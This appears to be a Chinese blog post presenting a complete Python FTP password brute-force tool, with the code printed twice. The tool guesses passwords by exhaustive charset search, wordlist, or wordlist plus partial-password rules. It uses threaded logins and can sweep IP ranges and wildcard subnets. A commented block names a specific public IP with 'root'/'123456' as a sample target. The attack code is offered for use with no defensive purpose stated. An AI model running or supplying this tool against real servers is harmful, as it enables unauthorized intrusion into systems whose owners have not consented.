ftp 爆破(FTP blasting)

password.json位置  https://www.cnblogs.com/hudieren/p/15604059.html
password_rule.json位置  https://www.cnblogs.com/hudieren/p/15604066.html
import argparse
import json
import string
import threading
import time
from decimal import Decimal
from ftplib import FTP
class FtpScan:
    classify_list = {
        '1': '暴力破解',
        '2': '字典',
        '3': '字典+规则集',
    }

    def __init__(self, classify, host, port, username, password, timeout=0):
        """
        :param classify: 种类(暴力破解,字典,字典+规则集)
        :param host: 地址(eg:192.168.100.115)
        :param port: 端口
        :param username: 用户名
        :param password: 部分密码(eg:1、`1qaz??`   2、`???`)[问号为不知道的密码,密码可能几位写几位问号]
        :param new_password: 最终正确密码
        :param password_name: 常用密码文件路径
        :param password_list: 可能密码列表
        :param max_threads_number: 最大线程数
        :param max_threads: 限制线程的最大数量
        """
        self.classify = classify
        self.host = host
        self.port = port
        self.username = username
        self.password = password
        self.timeout = timeout
        self.new_password = None
        self.password_name = 'password.json'
        self.password_list = self.get_password()
        self.max_threads_number = 6
        self.max_threads = threading.Semaphore(self.max_threads_number)  # 限制线程的最大数量为4个

    def __violence(self, charsetString, password, length, data=None):
        """
        暴力破解
        :param charsetString: 字符集
        :param password: 密码
        :param length: `?`共有多少个
        :param data: 最终返回的结果
        :return:
        """
        if data is None:
            data = []
        new_data = []
        if len(data) == 0:
            new_data = [password.replace('?', i, 1) for i in charsetString]
        else:
            for i in data:
                for j in charsetString:
                    new_data.append(i.replace('?', j, 1))
        length -= 1
        if length == 0:
            return new_data
        else:
            return self.__violence(charsetString, password, length, new_data)

    def __gather(self):
        """
        密码集合
        :return:
        """
        with open(self.password_name, 'r', encoding='utf-8') as r:
            data = json.loads(r.read())
        return data

    def get_password(self):
        """
        获取可能的密码
        :return: 可能的密码列表
        """
        password_list = []
        charsetString = string.digits + string.ascii_letters + string.punctuation
        length = self.password.count('?')
        if self.classify == '1':
            if length > 0:
                password_list = self.__violence(charsetString, self.password, length)
            else:
                password_list.append(self.password)
        elif self.classify == '2':
            password_list = self.__gather()
        elif self.classify == '3':
            data = self.__gather()
            pwd_list = self.password.split('?')
            data = [d for d in data if len(d) == len(self.password)]
            password_list = []
            for d in data:
                for pwd in pwd_list:
                    if pwd not in d:
                        break
                else:
                    password_list.append(d)
        return password_list

    def connect(self, password):
        with self.max_threads:
            ftp = FTP()
            # 打开调试级别2,显示详细信息
            ftp.set_debuglevel(2)
            try:
                ftp.connect(self.host, self.port, timeout=10)
                ftp.login(self.username, password)
                print('密码正确:{}'.format(password))
                self.new_password = password
                ftp.close()
            except:
                print('密码错误:{}'.format(password))
                ftp.close()
            time.sleep(self.timeout)

    def run(self):
        password_threads = []
        for password in self.password_list:
            print(password)
            thread = threading.Thread(target=self.connect, args=(password,))
            password_threads.append(thread)
        for thread in password_threads:
            if self.new_password:
                break
            else:
                thread.start()
        for thread in password_threads:
            if self.new_password:
                break
            else:
                thread.join()
        return self.new_password


def opt():
    parser = argparse.ArgumentParser(description='命令行中传入命令')
    parser.add_argument('-choice', required=True, help='<1:暴力破解;2:字典;3:字典+规则集>')
    parser.add_argument('-host', required=True, help='<host(主机)>')
    parser.add_argument('-port', type=int, help='<port(端口)>', default=21)
    parser.add_argument('-username', required=True, help='<username(用户名)>')
    parser.add_argument('-password', required=True, help='<password(密码)>')
    parser.add_argument('-timeout', type=int, help='<timeout(间隔时间)>', default=0)
    return parser.parse_args()


def get_host(host):
    host_list = []
    if '-' in host:
        h = host.split('-')
        left_host = h[0]
        left_host_list = left_host.split('.')
        right_host = h[1]
        right_host_list = right_host.split('.')
        for i in range(int(left_host_list[-1]), int(right_host_list[-1]) + 1):
            d = left_host_list[:3] + [str(i)]
            host_list.append('.'.join(d))
    elif '*' in host:
        rule = {
            '0': {'m': 1, 'n': 255 + 1},
            '1': {'m': 0, 'n': 99 + 1},
            '2': {'m': 0, 'n': 9 + 1},
        }
        h = host.split('.')
        r = h[-1].split('*')[0]
        for i in range(rule['{}'.format(len(r))]['m'], rule['{}'.format(len(r))]['n']):
            d = h[:3] + ['{}{}'.format(r, i)]
            host_list.append('.'.join(d))
    else:
        host_list.append(host)
    return host_list


def main(flag=False, **kwargs):
    start_time = Decimal(time.time()).quantize(Decimal("0.00"))
    if flag:
        classify = kwargs.get('classify')
        host = kwargs.get('host')
        port = kwargs.get('port')
        username = kwargs.get('username')
        password = kwargs.get('password')
        timeout = kwargs.get('timeout')
        if not timeout:
            timeout = 0
        host_list = get_host(host)
    else:
        args = opt()
        classify = args.choice
        port = args.port
        username = args.username
        password = args.password
        timeout = args.timeout
        host_list = get_host(args.host)
    pwd = []
    for host in host_list:
        password = FtpScan(classify, host, port, username, password, timeout=timeout).run()
        d = {
            'host': host,
            'port': port,
            'username': username,
            'password': password,
        }
        pwd.append(d)
    end_time = Decimal(time.time()).quantize(Decimal("0.00"))
    print('结果为:\n{},\n用时:{}s'.format(pwd, end_time - start_time))
    return {'result': pwd, 'hold_time': '{}s'.format(end_time - start_time)}


if __name__ == '__main__':
    main()
    # host = '45.43.13.210'
    # port = 21
    # username = 'root'
    # password = '123456'
    # classify = '1'
    # ftpconnect(host, port, username, password)
    # password = FtpScan(classify, host, port, username, password).run()
    # print('密码为:{}'.format(password))
————————
password.json位置  https://www.cnblogs.com/hudieren/p/15604059.html
password_rule.json位置  https://www.cnblogs.com/hudieren/p/15604066.html
import argparse
import json
import string
import threading
import time
from decimal import Decimal
from ftplib import FTP
class FtpScan:
    classify_list = {
        '1': '暴力破解',
        '2': '字典',
        '3': '字典+规则集',
    }

    def __init__(self, classify, host, port, username, password, timeout=0):
        """
        :param classify: 种类(暴力破解,字典,字典+规则集)
        :param host: 地址(eg:192.168.100.115)
        :param port: 端口
        :param username: 用户名
        :param password: 部分密码(eg:1、`1qaz??`   2、`???`)[问号为不知道的密码,密码可能几位写几位问号]
        :param new_password: 最终正确密码
        :param password_name: 常用密码文件路径
        :param password_list: 可能密码列表
        :param max_threads_number: 最大线程数
        :param max_threads: 限制线程的最大数量
        """
        self.classify = classify
        self.host = host
        self.port = port
        self.username = username
        self.password = password
        self.timeout = timeout
        self.new_password = None
        self.password_name = 'password.json'
        self.password_list = self.get_password()
        self.max_threads_number = 6
        self.max_threads = threading.Semaphore(self.max_threads_number)  # 限制线程的最大数量为4个

    def __violence(self, charsetString, password, length, data=None):
        """
        暴力破解
        :param charsetString: 字符集
        :param password: 密码
        :param length: `?`共有多少个
        :param data: 最终返回的结果
        :return:
        """
        if data is None:
            data = []
        new_data = []
        if len(data) == 0:
            new_data = [password.replace('?', i, 1) for i in charsetString]
        else:
            for i in data:
                for j in charsetString:
                    new_data.append(i.replace('?', j, 1))
        length -= 1
        if length == 0:
            return new_data
        else:
            return self.__violence(charsetString, password, length, new_data)

    def __gather(self):
        """
        密码集合
        :return:
        """
        with open(self.password_name, 'r', encoding='utf-8') as r:
            data = json.loads(r.read())
        return data

    def get_password(self):
        """
        获取可能的密码
        :return: 可能的密码列表
        """
        password_list = []
        charsetString = string.digits + string.ascii_letters + string.punctuation
        length = self.password.count('?')
        if self.classify == '1':
            if length > 0:
                password_list = self.__violence(charsetString, self.password, length)
            else:
                password_list.append(self.password)
        elif self.classify == '2':
            password_list = self.__gather()
        elif self.classify == '3':
            data = self.__gather()
            pwd_list = self.password.split('?')
            data = [d for d in data if len(d) == len(self.password)]
            password_list = []
            for d in data:
                for pwd in pwd_list:
                    if pwd not in d:
                        break
                else:
                    password_list.append(d)
        return password_list

    def connect(self, password):
        with self.max_threads:
            ftp = FTP()
            # 打开调试级别2,显示详细信息
            ftp.set_debuglevel(2)
            try:
                ftp.connect(self.host, self.port, timeout=10)
                ftp.login(self.username, password)
                print('密码正确:{}'.format(password))
                self.new_password = password
                ftp.close()
            except:
                print('密码错误:{}'.format(password))
                ftp.close()
            time.sleep(self.timeout)

    def run(self):
        password_threads = []
        for password in self.password_list:
            print(password)
            thread = threading.Thread(target=self.connect, args=(password,))
            password_threads.append(thread)
        for thread in password_threads:
            if self.new_password:
                break
            else:
                thread.start()
        for thread in password_threads:
            if self.new_password:
                break
            else:
                thread.join()
        return self.new_password


def opt():
    parser = argparse.ArgumentParser(description='命令行中传入命令')
    parser.add_argument('-choice', required=True, help='<1:暴力破解;2:字典;3:字典+规则集>')
    parser.add_argument('-host', required=True, help='<host(主机)>')
    parser.add_argument('-port', type=int, help='<port(端口)>', default=21)
    parser.add_argument('-username', required=True, help='<username(用户名)>')
    parser.add_argument('-password', required=True, help='<password(密码)>')
    parser.add_argument('-timeout', type=int, help='<timeout(间隔时间)>', default=0)
    return parser.parse_args()


def get_host(host):
    host_list = []
    if '-' in host:
        h = host.split('-')
        left_host = h[0]
        left_host_list = left_host.split('.')
        right_host = h[1]
        right_host_list = right_host.split('.')
        for i in range(int(left_host_list[-1]), int(right_host_list[-1]) + 1):
            d = left_host_list[:3] + [str(i)]
            host_list.append('.'.join(d))
    elif '*' in host:
        rule = {
            '0': {'m': 1, 'n': 255 + 1},
            '1': {'m': 0, 'n': 99 + 1},
            '2': {'m': 0, 'n': 9 + 1},
        }
        h = host.split('.')
        r = h[-1].split('*')[0]
        for i in range(rule['{}'.format(len(r))]['m'], rule['{}'.format(len(r))]['n']):
            d = h[:3] + ['{}{}'.format(r, i)]
            host_list.append('.'.join(d))
    else:
        host_list.append(host)
    return host_list


def main(flag=False, **kwargs):
    start_time = Decimal(time.time()).quantize(Decimal("0.00"))
    if flag:
        classify = kwargs.get('classify')
        host = kwargs.get('host')
        port = kwargs.get('port')
        username = kwargs.get('username')
        password = kwargs.get('password')
        timeout = kwargs.get('timeout')
        if not timeout:
            timeout = 0
        host_list = get_host(host)
    else:
        args = opt()
        classify = args.choice
        port = args.port
        username = args.username
        password = args.password
        timeout = args.timeout
        host_list = get_host(args.host)
    pwd = []
    for host in host_list:
        password = FtpScan(classify, host, port, username, password, timeout=timeout).run()
        d = {
            'host': host,
            'port': port,
            'username': username,
            'password': password,
        }
        pwd.append(d)
    end_time = Decimal(time.time()).quantize(Decimal("0.00"))
    print('结果为:\n{},\n用时:{}s'.format(pwd, end_time - start_time))
    return {'result': pwd, 'hold_time': '{}s'.format(end_time - start_time)}


if __name__ == '__main__':
    main()
    # host = '45.43.13.210'
    # port = 21
    # username = 'root'
    # password = '123456'
    # classify = '1'
    # ftpconnect(host, port, username, password)
    # password = FtpScan(classify, host, port, username, password).run()
    # print('密码为:{}'.format(password))